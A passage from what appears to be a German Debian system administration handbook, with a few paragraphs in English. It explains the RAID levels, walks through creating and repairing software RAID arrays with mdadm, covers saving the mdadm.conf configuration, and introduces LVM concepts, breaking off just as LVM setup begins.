RAID kann entweder mit speziell hierfür vorgesehener Hardware eingerichtet werden (mit RAID-Modulen, die in SCSI- oder SATA-Controllerkarten integriert sind) oder durch Softwareabstraktion (den Kernel). Ob Hard- oder Software, ein RAID-System mit ausreichender Redundanz kann in transparenter Weise funktionsfähig bleiben, wenn eine Platte ausfällt. Die oberen Abstraktionsschichten (Anwendungen) können trotz des Ausfalls weiterhin auf die Daten zugreifen. Dieser „eingeschränkte Modus“ kann natürlich Auswirkungen auf die Leistung haben, und die Redundanz ist geringer, so dass ein weiterer Plattenausfall dann zu Datenverlust führen kann. Daher wird man in der Praxis versuchen, nur solange in diesem eingeschränkten Modus zu verbleiben, wie das Ersetzen der ausgefallenen Platte dauert. Sobald die neue Platte eingebaut ist, kann das RAID-System die erforderlichen Daten wieder herstellen, um so zu einem sicheren Modus zurückzukehren. Die Anwendungen werden hiervon nichts bemerken, abgesehen von einer möglicherweise verringerten Zugriffsgeschwindigkeit während sich die Anordnung im eingeschränkten Modus oder im Stadium der Wiederherstellung befindet.

Wenn RAID von der Hardware zur Verfügung gestellt wird, wird die Konfiguration im Allgemeinen innerhalb des BIOS-Setup durchgeführt und der Kernel hält das RAID-Array für eine einzelne Festplatte, die sich als physikalische Platte darstellt, obwohl der Gerätename sich davon unterscheidet (abhängig vom Treiber).

Wir betrachten in diesem Buch nur Software-RAID.

12.1.1.1. Unterschiedliche RAID-Stufen

RAID existiert in der Tat in mehreren Ausprägungen, gekennzeichnet durch ihre Level. Diese Level unterscheiden sich in ihrem Aufbau und in dem Ausmaß der Redundanz, die sie bereitstellen. Je mehr Redundanzen, desto ausfallsicherer, da das System auch mit mehreren ausgefallenen Platten immer noch funktioniert. Die Kehrseite ist, dass der verfügbare Platz bei gegebener Anzahl an Platten geringer wird; oder anders ausgedrückt, es werden mehr Platten benötigt, um dieselbe Datenmenge zu speichern.

Lineares RAID

Obwohl das RAID-Subsystem des Kernels die Einrichtung eines „linearen RAIDs“ ermöglicht, ist dies kein wirkliches RAID, da sein Aufbau keinerlei Redundanz enthält. Der Kernel reiht lediglich mehrere Platten von Anfang bis Ende aneinander und stellt den sich daraus ergebenden zusammengefassten Datenträger als eine virtuelle Platte (ein Blockgerät) bereit. Das ist so gut wie seine einzige Funktion. Dieser Aufbau wird selten für sich allein verwendet (Ausnahmen werden weiter unten erläutert), insbesondere da die fehlende Redundanz dazu führt, dass bei Ausfall einer Platte der gesamte Datenträger und damit alle Daten nicht mehr verfügbar sind.

RAID-0

Diese Stufe stellt ebenfalls keinerlei Redundanz bereit, aber die Platten werden nicht einfach aneinandergereiht: sie werden in Streifen unterteilt, und die Blöcke des virtuellen Geräts werden in Streifen abwechselnd auf den physischen Platten abgespeichert. So werden zum Beispiel bei einem RAID-0-Aufbau, der aus zwei Platten besteht, die geradzahligen Blöcke des virtuellen Geräts auf der ersten physischen Platte gespeichert, während die ungeradzahligen Blöcke auf der zweiten physischen Platte landen.

Dieses System beabsichtigt nicht, die Zuverlässigkeit zu erhöhen, sondern die Leistung zu erhöhen, da (wie beim linearen RAID) die Verfügbarkeit der Daten gefährdet ist, sobald eine Platte ausfällt: beim sequentiellen Zugriff auf große Mengen zusammenhängender Daten kann der Kernel gleichzeitig von beiden Platten lesen (oder auf sie schreiben), wodurch die Datenübertragungsrate erhöht wird. Die Laufwerke werden vollständig vom RAID-Gerät ausgenutzt, daher sollten sie die gleiche Größe haben, um keine Leistung zu verlieren.

Die Nutzung von RAID-0 schrumpft, die Nische wird von LVM gefüllt (siehe weiter unten).

RAID-1

Diese Stufe, die auch als „RAID-Spiegelung“ bezeichnet wird, ist der einfachste und am häufigsten verwendete Aufbau. In seiner Standardform verwendet er zwei physische Platten gleicher Größe und stellt einen logischen Datenträger von ebenfalls gleicher Größe bereit. Daten werden auf beiden Platten identisch gespeichert, daher die Bezeichnung „Spiegel“. Wenn eine Platte ausfällt, sind die Daten auf der anderen weiterhin verfügbar. Für sehr kritische Daten kann RAID-1 natürlich auch auf mehr als zwei Platten eingerichtet werden, mit direkter Auswirkung auf das Verhältnis von Hardwarekosten zu nutzbarem Speicherplatz.

HINWEIS Platten und Clustergrößen

Wenn zwei Platten unterschiedlicher Größe als Spiegel eingerichtet werden, wird die größere nicht vollständig benutzt, da sie die gleichen Daten wie die kleinere enthält und sonst nichts. Der von einem RAID-1-Volume bereitgestellte nutzbare Platz entspricht daher der Größe der kleinsten Platte dieser Anordnung. Dies gilt auch für RAID-Volumes einer höheren RAID-Stufe, obwohl dort die Redundanz anders abgespeichert wird.

Es ist daher wichtig, beim Einrichten von RAID-Anordnungen (außer von RAID-0 und „linearem RAID“) nur Platten gleicher oder sehr ähnlicher Größe zu verbinden, um die Verschwendung von Ressourcen zu vermeiden.

HINWEIS Reserveplatten

RAID-Stufen, die Redundanz enthalten, ermöglichen es, mehr Platten als nötig einem Verbund zuzuordnen. Diese zusätzlichen Platten dienen als Reserve für den Fall, dass eine der Hauptplatten ausfällt. Zum Beispiel wird der Kernel in einem Spiegel aus zwei Platten und einer Reserveplatte, wenn eine der ersten beiden ausfällt, automatisch (und sofort) den Spiegel unter Verwendung der Reserveplatte neu aufbauen, so dass die Redundanz nach Abschluss des Wiederaufbaus weiterhin gewährleistet ist. Dies kann als weitere Schutzmaßnahme für kritische Daten genutzt werden.

Man könnte sich natürlich fragen, wieso dies besser ist als gleich von Anfang an auf drei Platten zu spiegeln. Der Vorteil der Anordnung mit einer „Reserveplatte“ besteht darin, dass die Reserveplatte von mehreren RAID-Volumes gemeinsam benutzt werden kann. So kann man zum Beispiel mit nur sieben Platten (drei Paaren und einer Reserve für alle) statt neun, die für drei Dreiergruppen erforderlich wären, drei gespiegelte Volumes haben, bei denen die Redundanz selbst beim Ausfall einer Platte gewährleistet bleibt.

Diese RAID-Stufe wird in der Praxis häufig verwendet, obwohl sie kostspielig ist (da der physische Speicherplatz allenfalls zur Hälfte genutzt werden kann). Sie ist einfach zu verstehen und ermöglicht sehr einfache Sicherheitskopien: da beide Platten den gleichen Inhalt haben, kann eine von ihnen ohne Auswirkung auf das arbeitende System vorübergehend entfernt werden. Die Leseleistung ist häufig höher, da der Kernel auf jeder Platte eine Hälfte der Daten gleichzeitig lesen kann, während die Schreibleistung nicht allzu stark vermindert ist. Bei einer RAID-Anordnung von N Platten bleiben die Daten selbst bei einem Ausfall von N-1 Platten erhalten.

CAUTION RAID is not Backup

RAID systems are not backup mechanisms. While RAID increases the redundancy - and therefore the availability of a system - and protects against disk failures, backups are done to protect data from being altered, deleted, getting corrupted, etc., and to be able to restore them if necessary. To demonstrate this: If you remove one or all files by accident, a RAID will mirror this change, but it will not provide the means to restore the file(s). So while there is clearly an overlap, they are not the same and should be used in conjunction with each other.

RAID-4

Diese selten verwendete RAID-Stufe verwendet N Platten zur Speicherung nutzbarer Daten und eine zusätzliche Platte zur Speicherung der Redundanzinformation. Falls diese Platte ausfällt, kann das System ihren Inhalt aus den übrigen N Platten wieder herstellen. Falls eine der N Platten ausfällt, enthalten die verbleibenden N-1 Platten zusammen mit der „Paritätsplatte“ genügend Informationen, um die erforderlichen Daten wieder herzustellen.

RAID-4 ist nicht allzu kostspielig, da es nur zu zusätzlichen Kosten in Höhe von Eins-in-N führt. Es hat keinen spürbaren Einfluss auf die Leseleistung, verlangsamt aber das Schreiben. Da außerdem jeder Schreibvorgang auf einer der N Platten auch einen Schreibvorgang auf der Paritätsplatte erfordert, finden auf letzterer sehr viel mehr Schreibvorgänge als auf den anderen statt, und ihre Lebensdauer kann folglich deutlich verkürzt sein. Daten in einer RAID-4-Anordnung sind lediglich bis zum Ausfall einer Platte (der N+1 Platten) sicher.

RAID-5

RAID-5 behebt das Problem der Asymmetrie von RAID-4: Paritätsblöcke sind über alle N+1 Platten verteilt, ohne dass eine einzelne Platte eine besondere Rolle spielt.

Die Lese- und Schreibleistung ist die gleiche wie bei RAID-4. Auch hier bleibt das System funktionsfähig, wenn eine der N+1 Platten ausfällt, jedoch nicht mehr.

RAID-6

RAID-6 kann als Erweiterung von RAID-5 angesehen werden, wobei jeder Reihe von N Blöcken zwei Redundanzblöcke zugeordnet sind, und jede dieser Serien von N+2 Blöcken über N+2 Platten verteilt ist.

Diese RAID-Stufe ist etwas teurer als die zwei vorhergehenden, bietet jedoch etwas mehr Sicherheit, da bis zu zwei der N+2 Platten ausfallen können, ohne dass die Datenverfügbarkeit gefährdet ist. Die Kehrseite ist, dass jeder Schreibvorgang jetzt das Schreiben eines Datenblocks und zweier Redundanzblöcke erfordert, wodurch er noch langsamer wird.

RAID-1+0

Dies ist genau genommen keine RAID-Stufe, sondern ein Zusammenfassen zweier RAID-Gruppen. Ausgehend von 2xN Platten werden diese zunächst paarweise in N RAID-1-Volumes angeordnet. Diese N Volumes werden dann entweder durch „lineares RAID“ oder (immer häufiger) durch LVM zu einem einzigen Volume zusammengefasst. Letzteres geht über reines RAID hinaus, das ist jedoch nicht problematisch.

RAID-1+0 kann den Ausfall mehrerer Platten überstehen und zwar bis zu N der oben beschriebenen 2xN-Anordnung, vorausgesetzt, dass in jedem der RAID-1-Paare wenigstens noch eine Platte funktioniert.

WEITERE SCHRITTE RAID-10

RAID-10 wird im Allgemeinen als ein Synonym für RAID-1+0 angesehen, jedoch führt eine Besonderheit von Linux zu dieser Verallgemeinerung. Diese Anordnung ermöglicht ein System, bei dem jeder Block selbst bei einer ungeraden Plattenanzahl auf zwei unterschiedlichen Platten gespeichert ist, wobei die Kopien einem konfigurierbaren Modell entsprechend verteilt werden.

Die Leistung kann in Abhängigkeit von dem gewählten Repartitionierungsmodell und Redundanzniveau sowie von der Arbeitslast des logischen Volumes unterschiedlich sein.

Natürlich wird die RAID-Stufe in Abhängigkeit von den Beschränkungen und Erfordernissen jeder Anwendung gewählt. Man beachte, dass ein einzelner Rechner über mehrere unterschiedliche RAID-Anordnungen mit unterschiedlichen Konfigurationen verfügen kann.

12.1.1.2. RAID einrichten

Zur Einrichtung von RAID-Volumes wird das Paket mdadm benötigt. Es stellt den Befehl mdadm zur Verfügung, mit dem RAID-Anordnungen erstellt und verändert werden können, wie auch Skripten und Hilfsprogramme, mit denen es in das übrige System integriert werden kann, einschließlich eines Überwachungssystems.

Als Beispiel nehmen wir einen Server mit einer Anzahl von Platten, von denen einige bereits benutzt werden, während der Rest für die Einrichtung des RAID zur Verfügung steht. Zu Beginn haben wir die folgenden Platten und Partitionen:

die Platte sdb, 4 GB, ist vollständig verfügbar;

die Platte sdc, 4 GB, ist ebenfalls vollständig verfügbar;

auf der Platte sdd ist nur die Partition sdg2 (ungefähr 4 GB) verfügbar;

schließlich ist die Platte sde, ebenfalls 4 GB, vollständig verfügbar.

HINWEIS Bestehende RAID-Volumes identifizieren

Die Datei /proc/mdstat führt bestehende Volumes und ihren Zustand auf. Wenn ein neues RAID-Volume erstellt wird, sollte darauf geachtet werden, es nicht wie ein bestehendes Volume zu benennen.

Wir werden diese physischen Komponenten zur Einrichtung zweier Volumes verwenden, eines RAID-0 und eines Spiegels (RAID-1). Wir beginnen mit dem RAID-0-Volume:

# mdadm --create /dev/md0 --level=0 --raid-devices=2 /dev/sdb /dev/sdc mdadm: Defaulting to version 1.2 metadata mdadm: array /dev/md0 started. # mdadm --query /dev/md0 /dev/md0: 7.99GiB raid0 2 devices, 0 spares. Use mdadm --detail for more detail. # mdadm --detail /dev/md0 /dev/md0: Version : 1.2 Creation Time : Mon Feb 28 01:54:24 2022 Raid Level : raid0 Array Size : 8378368 (7.99 GiB 8.58 GB) Raid Devices : 2 Total Devices : 2 Persistence : Superblock is persistent Update Time : Mon Feb 28 01:54:24 2022 State : clean Active Devices : 2 Working Devices : 2 Failed Devices : 0 Spare Devices : 0 Layout : -unknown- Chunk Size : 512K Consistency Policy : none Name : debian:0 (local to host debian) UUID : a75ac628:b384c441:157137ac:c04cd98c Events : 0 Number Major Minor RaidDevice State 0 8 0 0 active sync /dev/sdb 1 8 16 1 active sync /dev/sdc # mkfs.ext4 /dev/md0 mke2fs 1.46.2 (28-Feb-2021) Discarding device blocks: done Creating filesystem with 2094592 4k blocks and 524288 inodes Filesystem UUID: ef077204-c477-4430-bf01-52288237bea0 Superblock backups stored on blocks: 32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632 Allocating group tables: done Writing inode tables: done Creating journal (16384 blocks): done Writing superblocks and filesystem accounting information: done # mkdir /srv/raid-0 # mount /dev/md0 /srv/raid-0 # df -h /srv/raid-0 Filesystem Size Used Avail Use% Mounted on /dev/md0 7.8G 24K 7.4G 1% /srv/raid-0

Der Befehl mdadm --create erfordert mehrere Parameter: den Namen des zu erstellenden Volumes (/dev/md*, wobei MD Multiple Device (Mehrfachgerät) bedeutet), die RAID-Stufe, die Anzahl der Platten (die in jedem Fall angegeben werden muss, obwohl dies nur bei RAID-1 oder höher Sinn ergibt) und die zu verwendenden physischen Laufwerke. Nachdem das Gerät erstellt ist, können wir es wie eine normale Partition verwenden, auf ihm ein Dateisystem einrichten, dieses Dateisystem einhängen und so weiter. Man beachte, dass unsere Einrichtung eines RAID-0-Volumes auf md0 nur Zufall ist und dass die Nummerierung der Anordnung nicht der gewählten Redundanzstufe entsprechen muss. Man kann auch einen benannten RAID-Verbund erstellen, indem man mdadm Parameter wie /dev/md/linear statt /dev/md0 mitgibt.

Die Erstellung eines RAID-1 erfolgt auf ähnliche Weise; die Unterschiede machen sich erst nach der Erstellung bemerkbar:

# mdadm --create /dev/md1 --level=1 --raid-devices=2 /dev/sdd2 /dev/sde mdadm: Note: this array has metadata at the start and may not be suitable as a boot device. If you plan to store '/boot' on this device please ensure that your boot-loader understands md/v1.x metadata, or use --metadata=0.90 mdadm: largest drive (/dev/sdc2) exceeds size (4189184K) by more than 1% Continue creating array? y mdadm: Defaulting to version 1.2 metadata mdadm: array /dev/md1 started. # mdadm --query /dev/md1 /dev/md1: 4.00GiB raid1 2 devices, 0 spares. Use mdadm --detail for more detail. # mdadm --detail /dev/md1 /dev/md1: Version : 1.2 Creation Time : Mon Feb 28 02:07:48 2022 Raid Level : raid1 Array Size : 4189184 (4.00 GiB 4.29 GB) Used Dev Size : 4189184 (4.00 GiB 4.29 GB) Raid Devices : 2 Total Devices : 2 Persistence : Superblock is persistent Update Time : Mon Feb 28 02:08:09 2022 State : clean, resync Active Devices : 2 Working Devices : 2 Failed Devices : 0 Spare Devices : 0 Consistency Policy : resync Rebuild Status : 13% complete Name : debian:1 (local to host debian) UUID : 2dfb7fd5:e09e0527:0b5a905a:8334adb8 Events : 17 Number Major Minor RaidDevice State 0 8 34 0 active sync /dev/sdd2 1 8 48 1 active sync /dev/sde # mdadm --detail /dev/md1 /dev/md1: [...] State : clean [...]

TIPP RAID, Platten und Partitionen

As illustrated by our example, RAID devices can be constructed out of disk partitions as well, and do not require full disks.

Einige Bemerkungen sind angebracht. Zunächst stellt mdadm fest, dass die physischen Komponenten von unterschiedlicher Größe sind; da dies bedeutet, dass auf der größeren Komponente einiger Platz verloren geht, ist eine Bestätigung erforderlich.

Wichtiger ist es aber, den Zustand des Spiegels zu beachten. Im Normalzustand eines RAID-Spiegels haben beide Platten genau denselben Inhalt. Jedoch stellt nichts sicher, dass dies der Fall ist, wenn der Datenträger erstmalig erstellt wird. Das RAID-Subsystem gewährleistet dieses daher selbst, und es gibt eine Synchronisierungsphase, sobald das RAID-Gerät erzeugt worden ist. Einige Zeit später (die genaue Dauer hängt von der jeweiligen Größe der Platten ab...), schaltet die RAID-Anordnung in den „aktiven“ oder "sauberen" Zustand um. Man beachte, dass sich der Spiegel während dieser Rekonstruktionsphase in einem eingeschränkten Zustand befindet und Redundanz nicht sichergestellt ist. Ein Plattenausfall während dieser Risikolücke könnte zu einem vollständigen Verlust aller Daten führen. Jedoch werden kritische Daten selten in großer Menge auf einer neu erstellten RAID-Anordnung vor ihrer anfänglichen Synchronisierung gespeichert. Man beachte, dass selbst im eingeschränkten Zustand /dev/md1 benutzt werden kann, dass auf ihm ein Dateisystem erstellt werden kann, und dass Daten auf ihm abgelegt werden können.

TIPP Einen Spiegel in eingeschränktem Zustand starten

Manchmal sind zwei Platten nicht unmittelbar verfügbar, wenn man einen RAID-1-Spiegel einrichten möchte, weil zum Beispiel eine der hierfür vorgesehenen Platten bereits zur Speicherung der Daten benutzt wird, die man auf die Anordnung verschieben möchte. In solch einem Fall ist es möglich, vorsätzlich eine eingeschränkte RAID-1-Anordnung zu erzeugen, indem man als eines der Argumente missing statt einer Gerätedatei an mdadm übergibt. Sobald dann die Daten auf den „Spiegel“ kopiert worden sind, kann die alte Platte der Anordnung hinzugefügt werden. Anschließend wird eine Synchronisierung stattfinden, die zu der Redundanz führt, die wir von vornherein angestrebt hatten.

TIPP Einen Spiegel ohne Synchronisierung einrichten

RAID-1-Volumes werden häufig erstellt, um als neue Platten, die oft als leer erachtet werden, verwendet zu werden. Der ursprüngliche tatsächliche Inhalt der Platte ist daher nicht sehr relevant, da man nur sicher sein will, dass die Daten, die nach der Erstellung des Datenträgers geschrieben werden, und hier insbesondere das Dateisystem, anschließend zugänglich sind.

Man könnte sich daher fragen, wozu die Synchronisierung der beiden Platten zur Zeit der Erstellung gut ist. Warum sollte man sich darum kümmern, ob der Inhalt in Bereichen des Datenträgers gleich ist, von denen wir wissen, dass sie erst gelesen werden, nachdem wir etwas auf sie geschrieben haben?

Glücklicherweise kann diese Synchronisierungsphase vermieden werden, indem man die Option --assume-clean an mdadm übergibt. Diese Option kann jedoch in den Fällen zu Überraschungen führen, in denen die ursprünglichen Daten gelesen werden (falls zum Beispiel bereits ein Dateisystem auf der physischen Platte vorhanden ist). Deshalb ist sie nicht per Voreinstellung aktiviert.

Nun wollen wir sehen, was passiert, wenn eine der Komponenten der RAID-1-Anordnung ausfällt. Mit mdadm, genauer gesagt mit seiner Option --fail, lässt sich ein derartiger Plattenausfall simulieren:

# mdadm /dev/md1 --fail /dev/sde mdadm: set /dev/sde faulty in /dev/md1 # mdadm --detail /dev/md1 /dev/md1: Version : 1.2 Creation Time : Mon Feb 28 02:07:48 2022 Raid Level : raid1 Array Size : 4189184 (4.00 GiB 4.29 GB) Used Dev Size : 4189184 (4.00 GiB 4.29 GB) Raid Devices : 2 Total Devices : 2 Persistence : Superblock is persistent Update Time : Mon Feb 28 02:15:34 2022 State : clean, degraded Active Devices : 1 Working Devices : 1 Failed Devices : 1 Spare Devices : 0 Consistency Policy : resync Name : debian:1 (local to host debian) UUID : 2dfb7fd5:e09e0527:0b5a905a:8334adb8 Events : 19 Number Major Minor RaidDevice State 0 8 34 0 active sync /dev/sdd2 - 0 0 1 removed 1 8 48 - faulty /dev/sde

Der Inhalt des Datenträgers ist weiterhin zugänglich (und falls er eingehängt ist, bemerken die Anwendungen nichts), aber die Sicherheit der Daten ist nicht mehr gewährleistet: sollte die Platte sdd ebenfalls ausfallen, wären die Daten verloren. Wir möchten dieses Risiko vermeiden und werden daher die ausgefallene Platte durch eine neue, sdf, ersetzen:

# mdadm /dev/md1 --add /dev/sdf mdadm: added /dev/sdf # mdadm --detail /dev/md1 /dev/md1: Version : 1.2 Creation Time : Mon Feb 28 02:07:48 2022 Raid Level : raid1 Array Size : 4189184 (4.00 GiB 4.29 GB) Used Dev Size : 4189184 (4.00 GiB 4.29 GB) Raid Devices : 2 Total Devices : 3 Persistence : Superblock is persistent Update Time : Mon Feb 28 02:25:34 2022 State : clean, degraded, recovering Active Devices : 1 Working Devices : 2 Failed Devices : 1 Spare Devices : 1 Consistency Policy : resync Rebuild Status : 47% complete Name : debian:1 (local to host debian) UUID : 2dfb7fd5:e09e0527:0b5a905a:8334adb8 Events : 39 Number Major Minor RaidDevice State 0 8 34 0 active sync /dev/sdd2 2 8 64 1 spare rebuilding /dev/sdf 1 8 48 - faulty /dev/sde # [...] [...] # mdadm --detail /dev/md1 /dev/md1: Version : 1.2 Creation Time : Mon Feb 28 02:07:48 2022 Raid Level : raid1 Array Size : 4189184 (4.00 GiB 4.29 GB) Used Dev Size : 4189184 (4.00 GiB 4.29 GB) Raid Devices : 2 Total Devices : 3 Persistence : Superblock is persistent Update Time : Mon Feb 28 02:25:34 2022 State : clean Active Devices : 2 Working Devices : 2 Failed Devices : 1 Spare Devices : 0 Consistency Policy : resync Name : debian:1 (local to host debian) UUID : 2dfb7fd5:e09e0527:0b5a905a:8334adb8 Events : 41 Number Major Minor RaidDevice State 0 8 34 0 active sync /dev/sdd2 2 8 64 1 active sync /dev/sdf 1 8 48 - faulty /dev/sde

Auch in diesem Fall löst der Kernel automatisch eine Rekonstruktionsphase aus, während der sich der Datenträger in eingeschränktem Zustand befindet, auch wenn er weiterhin zugänglich ist. Sobald die Rekonstruktion vorüber ist, befindet sich die RAID-Anordnung wieder in normalem Zustand. Man kann dem System dann mitteilen, dass die Platte sde aus der Anordnung entfernt werden wird, um so zu einem typischen RAID-Spiegel auf zwei Platten zu gelangen:

# mdadm /dev/md1 --remove /dev/sde mdadm: hot removed /dev/sde from /dev/md1 # mdadm --detail /dev/md1 /dev/md1: [...] Number Major Minor RaidDevice State 0 8 34 0 active sync /dev/sdd2 2 8 64 1 active sync /dev/sdf

Von da an kann das Laufwerk physisch entfernt werden, sobald der Server das nächste Mal abgestellt wird, oder sogar im laufenden Betrieb, falls die Hardware-Konfiguration dies erlaubt. Zu derartigen Konfigurationen gehören einige SCSI-Controller, die meisten SATA-Platten und externe Laufwerke, die über USB oder Firewire betrieben werden.

12.1.1.3. Konfiguration sichern

Most of the meta-data concerning RAID volumes are saved directly on the disks that make up these arrays, so that the kernel can detect the arrays and their components and assemble them automatically when the system starts up. However, backing up this configuration is encouraged, because this detection isn't fail-proof, and it is only expected that it will fail precisely in sensitive circumstances. In our example, if the sde disk failure had been real (instead of simulated) and the system had been restarted without removing this sde disk, this disk could start working again due to having been probed during the reboot. The kernel would then have three physical elements, each claiming to contain half of the same RAID volume. In reality this leads to the RAID starting from the individual disks alternately - distributing the data also alternately, depending on which disk started the RAID in degraded mode Another source of confusion can come when RAID volumes from two servers are consolidated onto one server only. If these arrays were running normally before the disks were moved, the kernel would be able to detect and reassemble the pairs properly; but if the moved disks had been aggregated into an md1 on the old server, and the new server already has an md1, one of the mirrors would be renamed.

Es ist daher wichtig, die Konfiguration zu sichern, selbst wenn dies nur zu Referenzzwecken geschieht. Das normale Verfahren besteht darin, die Datei /etc/mdadm/mdadm.conf zu editieren, von der hier ein Beispiel gezeigt wird:

Beispiel 12.1. Konfigurationsdatei mdadm

# mdadm.conf # # !NB! Run update-initramfs -u after updating this file. # !NB! This will ensure that initramfs has an uptodate copy. # # Please refer to mdadm.conf(5) for information about this file. # # by default (built-in), scan all partitions (/proc/partitions) and all # containers for MD superblocks. alternatively, specify devices to scan, using # wildcards if desired. DEVICE /dev/sd* # automatically tag new arrays as belonging to the local system HOMEHOST <system> # instruct the monitoring daemon where to send mail alerts MAILADDR root # definitions of existing MD arrays ARRAY /dev/md/0 metadata=1.2 UUID=a75ac628:b384c441:157137ac:c04cd98c name=debian:0 ARRAY /dev/md/1 metadata=1.2 UUID=2dfb7fd5:e09e0527:0b5a905a:8334adb8 name=debian:1 # This configuration was auto-generated on Mon, 28 Feb 2022 01:53:48 +0100 by mkconf

Einer der nützlichsten Bestandteile ist die Option DEVICE, mit der die Geräte aufgelistet werden, bei denen das System beim Start selbstständig nach Komponenten des RAID-Volumes suchen soll. In unserem Beispiel haben wir die Voreinstellung partitions containers durch eine eindeutige Liste mit Gerätedateien ersetzt, da wir uns entschieden haben, für einige Datenträger ganze Platten und nicht nur Partitionen zu verwenden.

Die letzten beiden Zeilen unseres Beispiels ermöglichen es dem Kernel sicher auszuwählen, welche Volume-Nummer welcher Anordnung zugewiesen werden soll. Die auf den Platten selbst gespeicherten Meta-Daten reichen aus, die Volumes wieder zusammenzustellen, jedoch nicht, die Volume-Nummer zu bestimmen (und den dazu passenden Gerätenamen /dev/md*).

Glücklicherweise können diese Zeilen automatisch erstellt werden:

# mdadm --misc --detail --brief /dev/md? ARRAY /dev/md/0 metadata=1.2 UUID=a75ac628:b384c441:157137ac:c04cd98c name=debian:0 ARRAY /dev/md/1 metadata=1.2 UUID=2dfb7fd5:e09e0527:0b5a905a:8334adb8 name=debian:1

Der Inhalt dieser letzten beiden Zeilen ist nicht von der Liste der Platten abhängig, die zu dem Volume gehören. Es ist daher nicht erforderlich, diese Zeilen neu zu erstellen, wenn eine ausgefallene Platte durch eine neue ersetzt wird. Andererseits ist darauf zu achten, dass die Datei aktualisiert wird, wenn eine RAID-Anordnung erstellt oder gelöscht wird.

12.1.2. LVM

LVM, der Logical Volume Manager, ist ein weiterer Ansatz zur Abstraktion logischer Volumes von ihren physischen Geräten, der sich auf die Erhöhung der Flexibilität und nicht auf die Erhöhung der Zuverlässigkeit konzentriert. LVM erlaubt es, ein logisches Volume transparent für die Anwendungen zu ändern; es ist beispielsweise möglich, neue Platten hinzuzufügen, die Daten darauf zu migrieren und die alten Platten zu entfernen, ohne das Volume zu deinstallieren.

12.1.2.1. LVM-Konzepte

Diese Flexibilität wird durch eine Abstraktionsstufe erreicht, zu der drei Konzepte gehören.

Das PV (Physical Volume) ist das Element, das der Hardware am nächsten ist: es kann aus Partitionen auf einer Platte bestehen, aus einer ganzen Platte oder auch aus jedem anderen Blockgerät (einschließlich beispielsweise einem RAID-Verbund). Man beachte, dass auf eine physische Komponente, wenn sie als PV für einen LVM eingerichtet ist, nur über den LVM zugegriffen wird, da das System sonst verwirrt wird.

Einige PVs können zu einer VG (Volume Group) zusammengefasst werden, die als virtuelle und erweiterbare Platte angesehen werden kann. VGs sind abstrakt und erscheinen nicht in einer Gerätedatei in der /dev-Hierarchie, sodass nicht die Gefahr besteht, dass sie direkt benutzt werden.

Die dritte Art von Objekten ist das LV (Logical Volume), das aus einer Menge von VGs besteht. Wenn wir die Analogie beibehalten, dass eine VG eine Platte ist, kann das LV als eine Partition angesehen werden. Das LV erscheint als Blockgerät mit einem Eintrag in /dev, und es kann wie jede andere physische Partition verwendet werden (am häufigsten, um ein Dateisystem oder Auslagerungsspeicher aufzunehmen).

Wichtig ist, dass das Aufteilen einer VG in LVs von ihren physischen Komponenten (den PVs) völlig unabhängig ist. Eine VG, die nur aus einer einzelnen physischen Komponente besteht (zum Beispiel einer Platte), kann in ein Dutzend logischer Volumes unterteilt werden. In ähnlicher Weise kann eine VG mehrere physische Platten verwenden und dennoch als ein einziges großes logisches Volume erscheinen. Die einzige Beschränkung besteht darin, dass die Gesamtgröße, die den LVs zugeteilt ist, offensichtlich nicht größer als die Gesamtkapazität der PVs in dieser Volumegruppe sein kann.

Es macht jedoch häufig Sinn, eine gewisse Einheitlichkeit unter den physischen Komponenten einer VG einzuhalten, und die VG in logische Volumes zu unterteilen, die ähnliche Verwendungsmuster haben. Falls die verfügbare Hardware zum Beispiel schnellere und langsamere Platten enthält, könnten die schnelleren zu einer VG zusammengefasst werden und die langsameren zu einer anderen. Teile der ersten können dann Anwendungen zugeordnet werden, die schnellen Datenzugriff erfordern, während die zweite weniger anspruchsvollen Aufgaben vorbehalten bleibt.

In jedem Fall sollte man sich merken, dass ein LV nicht ausdrücklich einem bestimmten PV zugeordnet ist. Man kann den Ort, an dem die Daten eines LV physisch gespeichert werden, beeinflussen, jedoch ist diese Möglichkeit für den täglichen Gebrauch nicht notwendig. Im Gegenteil: wenn sich der Satz physischer Komponenten einer VG weiterentwickelt, können die physischen Speicherorte, die einem bestimmten LV entsprechen, über Platten hinweg verschoben werden (wobei sie natürlich innerhalb der PVs verbleiben müssen, die der VG zugeordnet sind).

12.1.2.2. Einen LVM einrichten

Wir wollen nun Schritt für Schritt den Prozess der Einrichtung eines LVM für einen typischen Anwendungsfall verfolgen: wir wollen eine komplizierte Speichersituation vereinfachen. Eine derartige Situation entsteht normalerweise aus einer langen und verwickelten Abfolge sich anhäufender temporärer Maßnahmen. Zu Illustrationszwecken nehmen wir einen Server an, bei dem die Speicherbedürfnisse sich im Laufe der Zeit verändert und schließlich zu einem Gewirr verfügbarer Partitionen geführt haben, die über mehrere teilweise genutzte Platten verteilt sind. Genauer gesagt sind folgende Partitionen vorhanden:

auf der Platte sdb eine Partition sdb2, 4 GB;

auf der Platte sdc eine Partition sdc3, 3 GB;

die Platte sdd, 4 GB, vollständig verfügbar;

auf der Platte sdf eine Partition sdf1, 4 GB; und eine Partition sdf2, 5 GB.

Zusätzlich nehmen wir an, dass die Platten sdb und sdf schneller als die anderen beiden sind.

Unser Ziel ist es, drei logische Volumes für drei verschiedene Anwendungen einzurichten: einen Dateiserver (der 5 GB Speicherplatz benötigt), eine Datenbank (1 GB) und Speicherplatz für Sicherungskopien (12 GB). Die ersten beiden erfordern eine gute Leistung, wohingegen bei den Sicherungen die Zugriffsgeschwindigkeit weniger entscheidend ist. Alle diese Einschränkungen verhindern die Verwendung einzelner Partitionen. Durch den Einsatz eines LVM kann von der physischen Größe der Geräte abstrahiert werden, so dass nur der insgesamt verfügbare Platz als Begrenzung verbleibt.

Die erforderlichen Hilfsprogramme befinden sich in dem Paket lvm2 und seinen Abhängigkeiten. Wenn sie installiert sind, erfolgt die Einrichtung eines LVM in drei Schritten, entsprechend den drei Konzeptstufen.

Zunächst erstellen wir mit pvcreate die physischen Volumes:

